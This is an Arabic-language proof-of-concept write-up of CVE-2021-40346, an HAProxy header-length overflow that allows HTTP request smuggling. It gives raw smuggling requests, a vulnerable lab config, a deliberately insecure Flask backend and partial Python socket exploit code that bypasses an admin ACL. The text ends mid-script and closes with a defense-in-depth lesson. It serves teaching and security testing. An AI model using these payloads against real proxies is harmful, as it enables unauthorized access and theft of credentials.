CVE-2021-40346: HAProxy HTTP Request Smuggling - ACL Bypass

نظرة عامة

يُظهر هذا المشروع CVE-2021-40346، وهي ثغرة حرجة في تجاوز عدد صحيح في HAProxy تُمكن من هجمات تهريب طلبات HTTP لتجاوز ضوابط الأمان.

درجة CVSSv3: 7.5 (عالية)

المساهمون:

1. بويتان إدوارد
2. بورسوش ماتياس رولاند

---

ما هو CVE-2021-40346؟

CVE-2021-40346 هي ثغرة تجاوز عدد صحيح في منطق تحليل رؤوس HTTP في HAProxy. عندما يتجاوز اسم الرأس 255 بايت، تفيض قيمة الطول من حقل 8 بت، مما يتسبب في تفسير HAProxy للرأس بشكل خاطئ أثناء إعادة توجيه الطلب.

كيف يعمل الهجوم

تفصيل خطوة بخطوة

1. يرسل المهاجم: اسم الرأس = "Content-Length0" + 255×'a' = 270 بايت

2. المرحلة 1 (التحليل الأولي):

   • يقرأ HAProxy جميع البايتات الـ 270 من اسم الرأس
   • يُخزّن name_length = 270 % 256 = 14 (تجاوز 8 بت)
   • يحدد بت التجاوز value_length = 1
   • يقرأ الرأس الشرعي Content-Length: 60 ويعامله كطول الجسم
   • يقرأ 60 بايت كجسم الطلب (يحتوي على الطلب المهرب)

3. المرحلة 2 (إعادة توجيه الطلب):

   • يواجه كتلة الرأس الفائضة
   • يقرأ فقط أول 14 حرفًا: "Content-Length"
   • يقرأ حرفًا واحدًا للقيمة (عند الموضع 14): "0"
   • يضيف content-length: 0 إلى الطلب المُعاد توجيهه
   • يتجاهل الرأس الحقيقي Content-Length: 60 (وفقًا للمنطق الطبيعي)

4. معالجة الخلفية:

   • تتلقى content-length: 0 من HAProxy
   • تفسر طلب POST بدون جسم
   • تعامل "الجسم" (طلب GET المهرب) كطلب HTTP التالي
   • تعالج الطلب المهرب، متجاوزة جميع قوائم ACL الخاصة بـ HAProxy

---

مثال على تدفق الهجوم

تجاوز قواعد ACL للوصول إلى نقطة نهاية المشرف

لنفترض أن HAProxy مُكوّن بقواعد ACL تُقيّد الوصول إلى مسارات المشرف:

http-request deny if { path_beg /users/admin }

في إثبات المفهوم الخاص بنا، نستخدم جلسة مستخدم عادي (alice) للوصول إلى نقطة النهاية المحمية /users/admin التي يجب أن تكون متاحة فقط للمشرفين.

الطلب الخبيث (الطلب 1 - التسميم):

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

الطلب الذي يُعيد توجيهه HAProxy:

POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

طلب الإكمال (الطلب 2):

GET / HTTP/1.1
Host: 127.0.0.1:8080

الطلب المهرب الكامل الذي تعالجه الخلفية:

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

النتيجة:

1. يُعيد HAProxy توجيه POST / بـ content-length: 0 (ترى ACL مسارًا آمنًا)
2. تعالج الخلفية POST / (بدون جسم) وتنتظر الطلب التالي
3. تعامل الخلفية طلب GET المهرب غير المكتمل /users/admin كطلب معلق
4. يكمل الطلب 2 الطلب المهرب
5. تعالج الخلفية GET /users/admin بجلسة alice، متجاوزة ACL الخاصة بـ HAProxy
6. يُعاد الرد الذي يحتوي على أسرار المشرف إلى المهاجم

---

إثبات المفهوم

إعداد بيئة الاختبار

تكوين HAProxy (haproxy.cfg)

مثيل HAProxy الضعيف مُكوّن بقواعد ACL لحماية نقطة نهاية المشرف:

...
    # ACL لاكتشاف الوصول إلى نقطة نهاية المشرف
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL للتحقق من وجود كلمة جلسة المشرف
    acl has_admin_session cook(session) -m beg admin_
    
    # منع الوصول إلى نقطة نهاية المشرف إذا لم يكن لدى المستخدم جلسة مشرف
    http-request deny if is_admin_endpoint !has_admin_session
...

النقاط الرئيسية:

• حماية ACL: /users/admin محجوبة ما لم تبدأ كلمة الجلسة بـ admin_
• HTTP Keep-Alive (افتراضيًا): يستخدم HAProxy وضع keep-alive افتراضيًا، مُعيدًا استخدام اتصالات TCP مع الخلفية - هذا حرج للهجوم لأنه يسمح بطلبات متعددة على نفس الاتصال
• التحكم في الوصول القائم على الجلسة: المستخدمون العاديون (جلسة تبدأ بـ user_) ممنوعون

خادم الخلفية (Flask)

خادم الخلفية لديه ثلاثة مستخدمين ونقطة نهاية مشرف:

USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... منطق المصادقة ...
    
    # إنشاء رمز جلسة ببادئة الدور
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # إرجاع بيانات حساسة تشمل جميع كلمات مرور المستخدمين
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"ADMIN PANELAll users with passwords:{rows}"

نموذج الأمان:

• أليس (مستخدم عادي) تحصل على جلسة: user_a1b2c3d4...
• المشرف يحصل على جلسة: admin_a1b2c3d4...
• يمنع HAProxy طلبات أليس إلى /users/admin
• تكوين خاطئ للخلفية: يثق خادم Flask بشكل أعمى بأن HAProxy قد فرض التحكم في الوصول بالفعل، ولا يعيد التحقق من رمز الجلسة أو يتحقق مما إذا كان المستخدم مشرفًا بالفعل قبل تقديم البيانات الحساسة
• الثغرة: يتجاوز تهريب HTTP فحص ACL الخاص بـ HAProxy، ولا تحتوي الخلفية على أي دفاع متعمق

لماذا ينجح هذا:

1. يرى HAProxy الطلب الخارجي POST / (مسموح)
2. يتحقق HAProxy من قواعد ACL على POST / (لا يوجد تقييد للمشرف)
3. يُعيد HAProxy توجيه content-length: 0 (بسبب خطأ التجاوز)
4. تتلقى الخلفية طلب GET /users/admin غير المكتمل
5. يكمل الطلب الثاني ذلك، متجاوزًا فحص ACL الخاص بـ HAProxy
6. تخدم الخلفية نقطة نهاية المشرف بشكل أعمى - لا تتحقق أبدًا مما إذا كان رمز الجلسة هو رمز مشرف بالفعل
7. تعالج الخلفية GET /users/admin مباشرةً، مُظهرةً كلمات المرور

درس الدفاع المتعمق: يوضح هذا لماذا لا ينبغي للخلفيات أن تثق بشكل أعمى في الوكيل. حتى مع وجود قواعد ACL الخاصة بـ HAProxy، يجب على الخلفية:

• تحليل والتحقق من رمز الجلسة بنفسها
• التحقق من دور/صلاحيات المستخدم قبل تقديم نقاط النهاية الحساسة
• تنفيذ منطق التفويض الخاص بها (على سبيل المثال، مصمّم @require_admin)

الاعتماد فقط على التحكم في الوصول على مستوى الوكيل يُنشئ نقطة فشل واحدة.

تسلسلات الاستغلال الرئيسية

يُظهر إثبات المفهوم تجاوز قواعد ACL الخاصة بـ HAProxy للوصول إلى /users/admin باستخدام جلسة مستخدم عادي من خلال أربع خطوات رئيسية:

1. المصادقة كمستخدم عادي

# تسجيل الدخول كأليس (مستخدم غير مشرف)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()

sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)

# تلقي الرد واستخراج رمز الجلسة
resp = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    resp += chunk
sock.close()

session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")

الغرض:

• الحصول على رمز جلسة شرعي لمستخدم عادي (أليس)
• هذه الجلسة عادةً ليس لها وصول إلى نقطة نهاية /users/admin
• سنستخدم هذه الجلسة في الطلب المهرب لتجاوز قواعد ACL

2. بناء الطلب المهرب (غير مكتمل)

# صياغة طلب مهرب غير مكتمل يستهدف نقطة نهاية المشرف
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"

التفاصيل الحرجة:

• يستهدف المسار المحمي /users/admin
• يستخدم جلسة مستخدم شرعية (أليس)
• ينتهي برأس DUMMY: (بدون CRLF) لإبقاء الطلب غير مكتمل
• ستنتظر الخلفية المزيد من البيانات قبل المعالجة

3. إنشاء طلب التسميم

# إنشاء رأس فائض (270 بايت = 14 بعد تجاوز 8 بت)
overflow_header = "Content-Length0" + ("a" * 255)